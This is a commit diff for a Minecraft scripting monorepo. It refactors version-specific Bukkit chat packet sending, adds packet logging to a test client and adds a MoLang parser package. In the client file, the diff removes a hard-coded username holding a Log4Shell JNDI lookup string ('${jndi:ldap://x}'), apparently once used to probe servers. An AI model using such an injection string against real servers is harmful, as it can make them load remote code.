feat: add molang package
1. upgrade bukkit chat 2. fix config update error Signed-off-by: MiaoWoo <admin@yumc.pw>
This commit is contained in:
		@@ -9,8 +9,7 @@
 | 
				
			|||||||
        "bs": "lerna bootstrap",
 | 
					        "bs": "lerna bootstrap",
 | 
				
			||||||
        "clean": "lerna run clean",
 | 
					        "clean": "lerna run clean",
 | 
				
			||||||
        "watch": "lerna run watch --parallel",
 | 
					        "watch": "lerna run watch --parallel",
 | 
				
			||||||
        "build": "lerna run build --scope=\"@ccms/!(plugins)\"",
 | 
					        "build": "lerna run build",
 | 
				
			||||||
        "build:plugins": "lerna run build --scope=\"@ccms/plugins\"",
 | 
					 | 
				
			||||||
        "ug": "yarn upgrade-interactive --latest",
 | 
					        "ug": "yarn upgrade-interactive --latest",
 | 
				
			||||||
        "np": "./script/push.sh",
 | 
					        "np": "./script/push.sh",
 | 
				
			||||||
        "lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",
 | 
					        "lsp": "npm login --registry=https://registry.npmjs.org --scope=@ccms",
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,132 +1,175 @@
 | 
				
			|||||||
/*global Java, base, module, exports, require*/
 | 
					/*global Java, base, module, exports, require*/
 | 
				
			||||||
let ChatSerializer: any
 | 
					let bukkitChatInvoke: BukkitChatInvoke
 | 
				
			||||||
let nmsChatSerializerMethodName: string
 | 
					 | 
				
			||||||
let PacketPlayOutChat: any
 | 
					 | 
				
			||||||
let chatMessageTypes: any
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
let RemapUtils: any
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
let playerConnectionFieldName: string
 | 
					 | 
				
			||||||
let sendPacketMethodName: string
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
let above_1_16 = false
 | 
					 | 
				
			||||||
let downgrade = false
 | 
					 | 
				
			||||||
/**
 | 
					 | 
				
			||||||
 * 获取NMS版本
 | 
					 | 
				
			||||||
 */
 | 
					 | 
				
			||||||
let nmsVersion = undefined
 | 
					 | 
				
			||||||
let nmsSubVersion = undefined
 | 
					 | 
				
			||||||
/**
 | 
					/**
 | 
				
			||||||
 * 获取NMS类
 | 
					 * 获取NMS类
 | 
				
			||||||
 */
 | 
					 */
 | 
				
			||||||
function nmsCls(name: string) {
 | 
					abstract class BukkitChatInvoke {
 | 
				
			||||||
    return base.getClass(['net.minecraft.server', nmsVersion, name].join('.'))
 | 
					    private downgrade: boolean = false
 | 
				
			||||||
}
 | 
					    protected RemapUtils: any
 | 
				
			||||||
 | 
					
 | 
				
			||||||
function remapMethod(clazz: any, origin: string, test: string, params: any) {
 | 
					    protected ChatSerializer: any
 | 
				
			||||||
    try {
 | 
					    protected nmsChatSerializerMethodName: string
 | 
				
			||||||
        return clazz.getMethod(origin, params)
 | 
					    protected PacketPlayOutChat: any
 | 
				
			||||||
    } catch (ex: any) {
 | 
					    protected chatMessageTypes: any
 | 
				
			||||||
        if (RemapUtils) {
 | 
					    protected playerConnectionFieldName: string
 | 
				
			||||||
            return clazz.getMethod(RemapUtils.mapMethod(clazz, origin, params), params)
 | 
					    protected sendPacketMethodName: string
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    constructor(private nmsVersion) {
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    init() {
 | 
				
			||||||
 | 
					        try {
 | 
				
			||||||
 | 
					            try {
 | 
				
			||||||
 | 
					                this.RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
 | 
				
			||||||
 | 
					            } catch (ex: any) {
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            let nmsChatSerializerClass = this.getNmsChatSerializerClass()
 | 
				
			||||||
 | 
					            let nmsChatSerializerMethod = this.remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
 | 
				
			||||||
 | 
					            this.nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
 | 
				
			||||||
 | 
					            this.ChatSerializer = Java.type(nmsChatSerializerClass.getName())
 | 
				
			||||||
 | 
					            let packetTypeClass = this.getPacketPlayOutChatClass()
 | 
				
			||||||
 | 
					            this.PacketPlayOutChat = Java.type(packetTypeClass.getName())
 | 
				
			||||||
 | 
					            let packetTypeConstructor: { parameterTypes: any[] }
 | 
				
			||||||
 | 
					            let constructors = packetTypeClass.constructors
 | 
				
			||||||
 | 
					            Java.from(constructors).forEach(function (c) {
 | 
				
			||||||
 | 
					                if (c.parameterTypes.length === 2 || c.parameterTypes.length === 3) {
 | 
				
			||||||
 | 
					                    packetTypeConstructor = c
 | 
				
			||||||
 | 
					                }
 | 
				
			||||||
 | 
					            })
 | 
				
			||||||
 | 
					            let parameterTypes = packetTypeConstructor.parameterTypes
 | 
				
			||||||
 | 
					            let nmsChatMessageTypeClass = parameterTypes[1]
 | 
				
			||||||
 | 
					            if (nmsChatMessageTypeClass.isEnum()) {
 | 
				
			||||||
 | 
					                this.chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					            let playerConnectionField = this.getPlayerConnectionField()
 | 
				
			||||||
 | 
					            this.playerConnectionFieldName = playerConnectionField.getName()
 | 
				
			||||||
 | 
					            this.sendPacketMethodName = this.remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', this.getPacketClass()).getName()
 | 
				
			||||||
 | 
					        } catch (ex: any) {
 | 
				
			||||||
 | 
					            org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
 | 
				
			||||||
 | 
					            this.downgrade = true
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    abstract getNmsChatSerializerClass()
 | 
				
			||||||
 | 
					    abstract getPacketPlayOutChatClass()
 | 
				
			||||||
 | 
					    abstract getPacketPlayOutChat(sender: any, json: any, type: number)
 | 
				
			||||||
 | 
					    abstract getPlayerConnectionField()
 | 
				
			||||||
 | 
					    abstract getPacketClass()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    nmsCls(name: string) {
 | 
				
			||||||
 | 
					        return base.getClass(['net.minecraft.server', this.nmsVersion, name].join('.'))
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    remapMethod(clazz: any, origin: string, test: string, params: any) {
 | 
				
			||||||
 | 
					        try {
 | 
				
			||||||
 | 
					            return clazz.getMethod(origin, params)
 | 
				
			||||||
 | 
					        } catch (ex: any) {
 | 
				
			||||||
 | 
					            if (this.RemapUtils) {
 | 
				
			||||||
 | 
					                return clazz.getMethod(this.RemapUtils.mapMethod(clazz, origin, params), params)
 | 
				
			||||||
 | 
					            } else {
 | 
				
			||||||
 | 
					                return clazz.getMethod(test, params)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    remapFieldName(clazz: any, origin: string, test: string) {
 | 
				
			||||||
 | 
					        try {
 | 
				
			||||||
 | 
					            return clazz.getField(origin)
 | 
				
			||||||
 | 
					        } catch (ex: any) {
 | 
				
			||||||
 | 
					            if (this.RemapUtils) {
 | 
				
			||||||
 | 
					                return clazz.getField(this.RemapUtils.mapFieldName(clazz, origin))
 | 
				
			||||||
 | 
					            } else {
 | 
				
			||||||
 | 
					                return clazz.getField(test)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        }
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					    json(sender: { name: string }, json: string) {
 | 
				
			||||||
 | 
					        if (this.downgrade) {
 | 
				
			||||||
 | 
					            return '/tellraw ' + sender.name + ' ' + json
 | 
				
			||||||
        } else {
 | 
					        } else {
 | 
				
			||||||
            return clazz.getMethod(test, params)
 | 
					            this.send(sender, json, 0)
 | 
				
			||||||
 | 
					            return false
 | 
				
			||||||
        }
 | 
					        }
 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					    send(sender: any, json: any, type: number) {
 | 
				
			||||||
 | 
					        this.sendPacket(sender, this.getPacketPlayOutChat(sender, json, type))
 | 
				
			||||||
function remapFieldName(clazz: any, origin: string, test: string) {
 | 
					    }
 | 
				
			||||||
    try {
 | 
					    sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
 | 
				
			||||||
        return clazz.getField(origin)
 | 
					        player.handle[this.playerConnectionFieldName][this.sendPacketMethodName](p)
 | 
				
			||||||
    } catch (ex: any) {
 | 
					 | 
				
			||||||
        if (RemapUtils) {
 | 
					 | 
				
			||||||
            return clazz.getField(RemapUtils.mapFieldName(clazz, origin))
 | 
					 | 
				
			||||||
        } else {
 | 
					 | 
				
			||||||
            return clazz.getField(test)
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
function init() {
 | 
					class BukkitChatInvokeBase extends BukkitChatInvoke {
 | 
				
			||||||
    //@ts-ignore
 | 
					    getPacketPlayOutChat(sender: any, json: any, type: number) {
 | 
				
			||||||
    nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
 | 
					        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), type)
 | 
				
			||||||
    nmsSubVersion = nmsVersion.split("_")[1]
 | 
					 | 
				
			||||||
    try {
 | 
					 | 
				
			||||||
        RemapUtils = Java.type('catserver.server.remapper.RemapUtils')
 | 
					 | 
				
			||||||
    } catch (ex: any) {
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    let nmsChatSerializerClass = undefined
 | 
					    getNmsChatSerializerClass() {
 | 
				
			||||||
    if (nmsSubVersion < 8) {
 | 
					        return this.nmsCls("ChatSerializer")
 | 
				
			||||||
        nmsChatSerializerClass = nmsCls("ChatSerializer")
 | 
					 | 
				
			||||||
    } else if (nmsSubVersion < 17) {
 | 
					 | 
				
			||||||
        nmsChatSerializerClass = nmsCls("IChatBaseComponent$ChatSerializer")
 | 
					 | 
				
			||||||
    } else {
 | 
					 | 
				
			||||||
        nmsChatSerializerClass = base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    let nmsChatSerializerMethod = remapMethod(nmsChatSerializerClass, 'a', 'func_150699_a', base.getClass('java.lang.String'))
 | 
					    getPacketPlayOutChatClass() {
 | 
				
			||||||
    nmsChatSerializerMethodName = nmsChatSerializerMethod.getName()
 | 
					        return this.nmsCls("PacketPlayOutChat")
 | 
				
			||||||
    ChatSerializer = Java.type(nmsChatSerializerClass.getName())
 | 
					 | 
				
			||||||
    let packetTypeClass = nmsSubVersion < 17 ? nmsCls("PacketPlayOutChat") : base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
 | 
					 | 
				
			||||||
    PacketPlayOutChat = Java.type(packetTypeClass.getName())
 | 
					 | 
				
			||||||
    let packetTypeConstructor: { parameterTypes: any[] }
 | 
					 | 
				
			||||||
    let constructors = packetTypeClass.constructors
 | 
					 | 
				
			||||||
    Java.from(constructors).forEach(function (c) {
 | 
					 | 
				
			||||||
        if (c.parameterTypes.length === 2) {
 | 
					 | 
				
			||||||
            packetTypeConstructor = c
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
        if (c.parameterTypes.length === 3) {
 | 
					 | 
				
			||||||
            packetTypeConstructor = c
 | 
					 | 
				
			||||||
            above_1_16 = true
 | 
					 | 
				
			||||||
        }
 | 
					 | 
				
			||||||
    })
 | 
					 | 
				
			||||||
    let parameterTypes = packetTypeConstructor.parameterTypes
 | 
					 | 
				
			||||||
    let nmsChatMessageTypeClass = parameterTypes[1]
 | 
					 | 
				
			||||||
    if (nmsChatMessageTypeClass.isEnum()) {
 | 
					 | 
				
			||||||
        chatMessageTypes = nmsChatMessageTypeClass.getEnumConstants()
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    let playerConnectionField = undefined
 | 
					    getPlayerConnectionField() {
 | 
				
			||||||
    if (nmsSubVersion < 17) {
 | 
					        return this.remapFieldName(this.nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
 | 
				
			||||||
        playerConnectionField = remapFieldName(nmsCls('EntityPlayer'), 'playerConnection', 'field_71135_a')
 | 
					 | 
				
			||||||
    } else {
 | 
					 | 
				
			||||||
        playerConnectionField = base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
    playerConnectionFieldName = playerConnectionField.getName()
 | 
					    getPacketClass() {
 | 
				
			||||||
    sendPacketMethodName = remapMethod(playerConnectionField.getType(), 'sendPacket', 'func_179290_a', nmsSubVersion < 17 ? nmsCls('Packet') : base.getClass('net.minecraft.network.protocol.Packet')).getName()
 | 
					        return this.nmsCls('Packet')
 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
function json(sender: { name: string }, json: string) {
 | 
					 | 
				
			||||||
    if (downgrade) {
 | 
					 | 
				
			||||||
        return '/tellraw ' + sender.name + ' ' + json
 | 
					 | 
				
			||||||
    } else {
 | 
					 | 
				
			||||||
        send(sender, json, 0)
 | 
					 | 
				
			||||||
        return false
 | 
					 | 
				
			||||||
    }
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
function send(sender: any, json: any, type: number) {
 | 
					class BukkitChatInvoke_1_7_10 extends BukkitChatInvokeBase {
 | 
				
			||||||
    let packet
 | 
					 | 
				
			||||||
    if (above_1_16) {
 | 
					 | 
				
			||||||
        packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type], sender.getUniqueId())
 | 
					 | 
				
			||||||
    } else {
 | 
					 | 
				
			||||||
        packet = new PacketPlayOutChat(ChatSerializer[nmsChatSerializerMethodName](json), chatMessageTypes == null ? type : chatMessageTypes[type])
 | 
					 | 
				
			||||||
    }
 | 
					 | 
				
			||||||
    sendPacket(sender, packet)
 | 
					 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
function sendPacket(player: { handle: { [x: string]: { [x: string]: (arg0: any) => void } } }, p: any) {
 | 
					class BukkitChatInvoke_1_8 extends BukkitChatInvoke_1_7_10 {
 | 
				
			||||||
    player.handle[playerConnectionFieldName][sendPacketMethodName](p)
 | 
					    getPacketPlayOutChat(sender: any, json: any, type: number) {
 | 
				
			||||||
 | 
					        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type])
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    getNmsChatSerializerClass() {
 | 
				
			||||||
 | 
					        return this.nmsCls("IChatBaseComponent$ChatSerializer")
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					class BukkitChatInvoke_1_16_5 extends BukkitChatInvoke_1_8 {
 | 
				
			||||||
 | 
					    getPacketPlayOutChat(sender: any, json: any, type: number) {
 | 
				
			||||||
 | 
					        return new this.PacketPlayOutChat(this.ChatSerializer[this.nmsChatSerializerMethodName](json), this.chatMessageTypes[type], sender.getUniqueId())
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					class BukkitChatInvoke_1_17_1 extends BukkitChatInvoke_1_16_5 {
 | 
				
			||||||
 | 
					    getPacketPlayOutChatClass() {
 | 
				
			||||||
 | 
					        return base.getClass('net.minecraft.network.protocol.game.PacketPlayOutChat')
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    getNmsChatSerializerClass() {
 | 
				
			||||||
 | 
					        return base.getClass('net.minecraft.network.chat.IChatBaseComponent$ChatSerializer')
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    getPlayerConnectionField() {
 | 
				
			||||||
 | 
					        return base.getClass('net.minecraft.server.level.EntityPlayer').getField('b')
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    getPacketClass() {
 | 
				
			||||||
 | 
					        return base.getClass('net.minecraft.network.protocol.Packet')
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
try {
 | 
					try {
 | 
				
			||||||
    init()
 | 
					    //@ts-ignore
 | 
				
			||||||
 | 
					    let nmsVersion = org.bukkit.Bukkit.server.class.name.split('.')[3]
 | 
				
			||||||
 | 
					    let nmsSubVersion = nmsVersion.split("_")[1]
 | 
				
			||||||
 | 
					    if (nmsSubVersion >= 8) {
 | 
				
			||||||
 | 
					        bukkitChatInvoke = new BukkitChatInvoke_1_8(nmsVersion)
 | 
				
			||||||
 | 
					    } else if (nmsSubVersion >= 16) {
 | 
				
			||||||
 | 
					        bukkitChatInvoke = new BukkitChatInvoke_1_16_5(nmsVersion)
 | 
				
			||||||
 | 
					    } else if (nmsSubVersion >= 17) {
 | 
				
			||||||
 | 
					        bukkitChatInvoke = new BukkitChatInvoke_1_17_1(nmsVersion)
 | 
				
			||||||
 | 
					    } else {
 | 
				
			||||||
 | 
					        bukkitChatInvoke = new BukkitChatInvoke_1_7_10(nmsVersion)
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					    bukkitChatInvoke.init()
 | 
				
			||||||
} catch (ex: any) {
 | 
					} catch (ex: any) {
 | 
				
			||||||
    org.bukkit.Bukkit.getConsoleSender().sendMessage(`§6[§cMS§6][§bbukkit§6][§achat§6] §cNMS Inject Error §4${ex} §cDowngrade to Command Mode...`)
 | 
					 | 
				
			||||||
    downgrade = true
 | 
					 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
let chat = {
 | 
					let chat = {
 | 
				
			||||||
    json,
 | 
					    json: bukkitChatInvoke.json.bind(bukkitChatInvoke),
 | 
				
			||||||
    send
 | 
					    send: bukkitChatInvoke.send.bind(bukkitChatInvoke)
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
export default chat
 | 
					export default chat
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										1
									
								
								packages/client/.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										1
									
								
								packages/client/.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1 @@
 | 
				
			|||||||
 | 
					src/emp.ts
 | 
				
			||||||
@@ -26,6 +26,7 @@
 | 
				
			|||||||
    "dependencies": {
 | 
					    "dependencies": {
 | 
				
			||||||
        "axios": "^0.24.0",
 | 
					        "axios": "^0.24.0",
 | 
				
			||||||
        "minecraft-protocol": "^1.29.0",
 | 
					        "minecraft-protocol": "^1.29.0",
 | 
				
			||||||
 | 
					        "minecraft-protocol-forge": "^1.0.0",
 | 
				
			||||||
        "proxy-agent": "^5.0.0"
 | 
					        "proxy-agent": "^5.0.0"
 | 
				
			||||||
    },
 | 
					    },
 | 
				
			||||||
    "devDependencies": {
 | 
					    "devDependencies": {
 | 
				
			||||||
 
 | 
				
			|||||||
@@ -1,29 +1,13 @@
 | 
				
			|||||||
import { createInterface } from 'readline'
 | 
					import { createInterface } from 'readline'
 | 
				
			||||||
import { createClient } from 'minecraft-protocol'
 | 
					import { Client, createClient } from 'minecraft-protocol'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
import { attachForge } from './forge'
 | 
					import { attachForge } from './forge'
 | 
				
			||||||
import { attachEvents } from './event'
 | 
					import { attachEvents } from './event'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					let readUserInfo = process.argv[2] || 'Mr_jtb'
 | 
				
			||||||
 | 
					let realUserInfo = readUserInfo.split(":")
 | 
				
			||||||
 | 
					let username = realUserInfo[0]
 | 
				
			||||||
 | 
					let password = realUserInfo[1] || ''
 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
// let readUserInfo = process.argv[2] || 'Mr_jtb'
 | 
					 | 
				
			||||||
// let realUserInfo = readUserInfo.split(":")
 | 
					 | 
				
			||||||
// let username = realUserInfo[0]
 | 
					 | 
				
			||||||
let username = '${jndi:ldap://x}'
 | 
					 | 
				
			||||||
let password = '';//realUserInfo[1] || ''
 | 
					 | 
				
			||||||
let version = process.argv[3] || '1.12.2'
 | 
					let version = process.argv[3] || '1.12.2'
 | 
				
			||||||
let readAddress = process.argv[4] || '192.168.2.25:25565'
 | 
					let readAddress = process.argv[4] || '192.168.2.25:25565'
 | 
				
			||||||
let realAddress = readAddress.split(":")
 | 
					let realAddress = readAddress.split(":")
 | 
				
			||||||
@@ -60,7 +44,24 @@ function createConnection(host: string, port: number, username: string, password
 | 
				
			|||||||
    return client
 | 
					    return client
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
function attachCommon(client) {
 | 
					function attachCommon(client: Client) {
 | 
				
			||||||
 | 
					    client.on('login', () => {
 | 
				
			||||||
 | 
					        // client.registerChannel('updater', ['string', []])
 | 
				
			||||||
 | 
					        // client.registerChannel('updater-enabled', ['string', []])
 | 
				
			||||||
 | 
					        // client.registerChannel('dragoncore', ['string', []])
 | 
				
			||||||
 | 
					        // client.registerChannel('dragoncore:main', ['string', []])
 | 
				
			||||||
 | 
					        client.on('REGISTER', (array) => {
 | 
				
			||||||
 | 
					            for (const channel of array) {
 | 
				
			||||||
 | 
					                client.on('channel', console.log)
 | 
				
			||||||
 | 
					            }
 | 
				
			||||||
 | 
					        })
 | 
				
			||||||
 | 
					        // client.on('dragoncore:main', (data) => {
 | 
				
			||||||
 | 
					        //     console.log(data)
 | 
				
			||||||
 | 
					        // })
 | 
				
			||||||
 | 
					    })
 | 
				
			||||||
 | 
					    client.on('custom_payload', (data) => {
 | 
				
			||||||
 | 
					        console.log('custom_payload' + JSON.stringify(data))
 | 
				
			||||||
 | 
					    })
 | 
				
			||||||
    client.on('error', (error) => {
 | 
					    client.on('error', (error) => {
 | 
				
			||||||
        console.log("Client Error", error)
 | 
					        console.log("Client Error", error)
 | 
				
			||||||
    })
 | 
					    })
 | 
				
			||||||
 
 | 
				
			|||||||
							
								
								
									
										6
									
								
								packages/molang/.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										6
									
								
								packages/molang/.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@@ -0,0 +1,6 @@
 | 
				
			|||||||
 | 
					node_modules
 | 
				
			||||||
 | 
					perf/*
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					tsconfig.tsbuildinfo
 | 
				
			||||||
 | 
					.DS_STORE
 | 
				
			||||||
							
								
								
									
										29
									
								
								packages/molang/package.json
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										29
									
								
								packages/molang/package.json
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,29 @@
 | 
				
			|||||||
 | 
					{
 | 
				
			||||||
 | 
					    "name": "@ccms/molang",
 | 
				
			||||||
 | 
					    "version": "0.17.0",
 | 
				
			||||||
 | 
					    "description": "A fast parser for Minecraft's MoLang",
 | 
				
			||||||
 | 
					    "main": "dist/index.js",
 | 
				
			||||||
 | 
					    "types": "dist/index.d.ts",
 | 
				
			||||||
 | 
					    "scripts": {
 | 
				
			||||||
 | 
					        "clean": "rimraf dist",
 | 
				
			||||||
 | 
					        "watch": "tsc --watch",
 | 
				
			||||||
 | 
					        "build": "yarn clean && tsc",
 | 
				
			||||||
 | 
					        "test": "echo \"Error: run tests from root\" && exit 1"
 | 
				
			||||||
 | 
					    },
 | 
				
			||||||
 | 
					    "repository": {
 | 
				
			||||||
 | 
					        "type": "git",
 | 
				
			||||||
 | 
					        "url": "git+https://github.com/solvedDev/MoLang.git"
 | 
				
			||||||
 | 
					    },
 | 
				
			||||||
 | 
					    "author": "solvedDev",
 | 
				
			||||||
 | 
					    "license": "MIT",
 | 
				
			||||||
 | 
					    "bugs": {
 | 
				
			||||||
 | 
					        "url": "https://github.com/solvedDev/MoLang/issues"
 | 
				
			||||||
 | 
					    },
 | 
				
			||||||
 | 
					    "homepage": "https://github.com/solvedDev/MoLang#readme",
 | 
				
			||||||
 | 
					    "devDependencies": {
 | 
				
			||||||
 | 
					        "@types/node": "^13.1.2",
 | 
				
			||||||
 | 
					        "tslib": "^2.3.1",
 | 
				
			||||||
 | 
					        "rimraf": "^3.0.2",
 | 
				
			||||||
 | 
					        "typescript": "^4.5.3"
 | 
				
			||||||
 | 
					    }
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
							
								
								
									
										129
									
								
								packages/molang/src/MoLang.ts
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										129
									
								
								packages/molang/src/MoLang.ts
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,129 @@
 | 
				
			|||||||
 | 
					import { ExecutionEnvironment } from './env/env'
 | 
				
			||||||
 | 
					import { IExpression, IParserConfig } from './main'
 | 
				
			||||||
 | 
					import { StaticExpression } from './parser/expressions/static'
 | 
				
			||||||
 | 
					import { StringExpression } from './parser/expressions/string'
 | 
				
			||||||
 | 
					import { MoLangParser } from './parser/molang'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					export class MoLang {
 | 
				
			||||||
 | 
						protected expressionCache: Record<string, IExpression> = {}
 | 
				
			||||||
 | 
						protected totalCacheEntries = 0
 | 
				
			||||||
 | 
						protected executionEnvironment!: ExecutionEnvironment
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						protected parser: MoLangParser
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						constructor(
 | 
				
			||||||
 | 
							env: Record<string, unknown> = {},
 | 
				
			||||||
 | 
							protected config: Partial<IParserConfig> = {}
 | 
				
			||||||
 | 
						) {
 | 
				
			||||||
 | 
							if (config.useOptimizer === undefined) this.config.useOptimizer = true
 | 
				
			||||||
 | 
							if (config.useCache === undefined) this.config.useCache = true
 | 
				
			||||||
 | 
							if (config.earlyReturnsSkipParsing === undefined)
 | 
				
			||||||
 | 
								this.config.earlyReturnsSkipParsing = true
 | 
				
			||||||
 | 
							if (config.earlyReturnsSkipTokenization === undefined)
 | 
				
			||||||
 | 
								this.config.earlyReturnsSkipTokenization = true
 | 
				
			||||||
 | 
							if (config.convertUndefined === undefined)
 | 
				
			||||||
 | 
								this.config.convertUndefined = false
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							this.parser = new MoLangParser({
 | 
				
			||||||
 | 
								...this.config,
 | 
				
			||||||
 | 
								tokenizer: undefined,
 | 
				
			||||||
 | 
							})
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							this.updateExecutionEnv(env)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						updateConfig(newConfig: Partial<IParserConfig>) {
 | 
				
			||||||
 | 
							newConfig = Object.assign(this.config, newConfig)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if (newConfig.tokenizer) this.parser.setTokenizer(newConfig.tokenizer)
 | 
				
			||||||
 | 
							this.parser.updateConfig({ ...this.config, tokenizer: undefined })
 | 
				
			||||||
 | 
							this.executionEnvironment.updateConfig(newConfig)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						updateExecutionEnv(env: Record<string, unknown>, isFlat = false) {
 | 
				
			||||||
 | 
							this.executionEnvironment = new ExecutionEnvironment(env, {
 | 
				
			||||||
 | 
								useRadians: this.config.useRadians,
 | 
				
			||||||
 | 
								convertUndefined: this.config.convertUndefined,
 | 
				
			||||||
 | 
								isFlat,
 | 
				
			||||||
 | 
								variableHandler: this.config.variableHandler,
 | 
				
			||||||
 | 
							})
 | 
				
			||||||
 | 
							this.parser.setExecutionEnvironment(this.executionEnvironment)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Clears the MoLang expression cache
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						clearCache() {
 | 
				
			||||||
 | 
							this.expressionCache = {}
 | 
				
			||||||
 | 
							this.totalCacheEntries = 0
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						/**
 | 
				
			||||||
 | 
						 * Execute the given MoLang string `expression`
 | 
				
			||||||
 | 
						 * @param expression The MoLang string to execute
 | 
				
			||||||
 | 
						 *
 | 
				
			||||||
 | 
						 * @returns The value the MoLang expression corresponds to
 | 
				
			||||||
 | 
						 */
 | 
				
			||||||
 | 
						execute(expression: string) {
 | 
				
			||||||
 | 
							this.parser.setExecutionEnvironment(this.executionEnvironment)
 | 
				
			||||||
 | 
							const abstractSyntaxTree = this.parse(expression)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							const result = abstractSyntaxTree.eval()
 | 
				
			||||||
 | 
							if (result === undefined) return 0
 | 
				
			||||||
 | 
							if (typeof result === 'boolean') return Number(result)
 | 
